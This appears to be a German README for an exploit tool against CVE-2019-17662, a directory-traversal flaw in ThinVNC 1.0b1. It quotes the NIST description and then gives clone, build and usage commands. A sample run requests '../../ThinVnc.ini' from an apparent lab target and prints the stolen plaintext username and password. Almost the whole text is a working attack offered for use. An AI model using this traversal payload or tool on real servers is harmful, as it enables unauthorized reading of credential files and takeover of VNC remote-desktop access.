
Exploit für CVE-2019-17662 (ThinVNC 1.0b1)
ThinVNC 1.0b1 ist anfällig für beliebiges Dateilesen, was zu einer Kompromittierung des VNC-Servers führt. Die Schwachstelle besteht selbst dann, wenn während der Bereitstellung des VNC-Servers die Authentifizierung aktiviert ist. Das Passwort für die Authentifizierung wird im Klartext in einer Datei gespeichert, die über einen Directory-Traversal-Angriffsvektor (../../ThinVnc.ini) ausgelesen werden kann.
~ NIST
$ git clone https://github.com/whokilleddb/CVE-2019-17662
$ cd CVE-2019-17662
$ make
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS Desciption
-u URL Base URL
-f File [Optional] File Name To Query (Default: ThinVnc.ini)
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens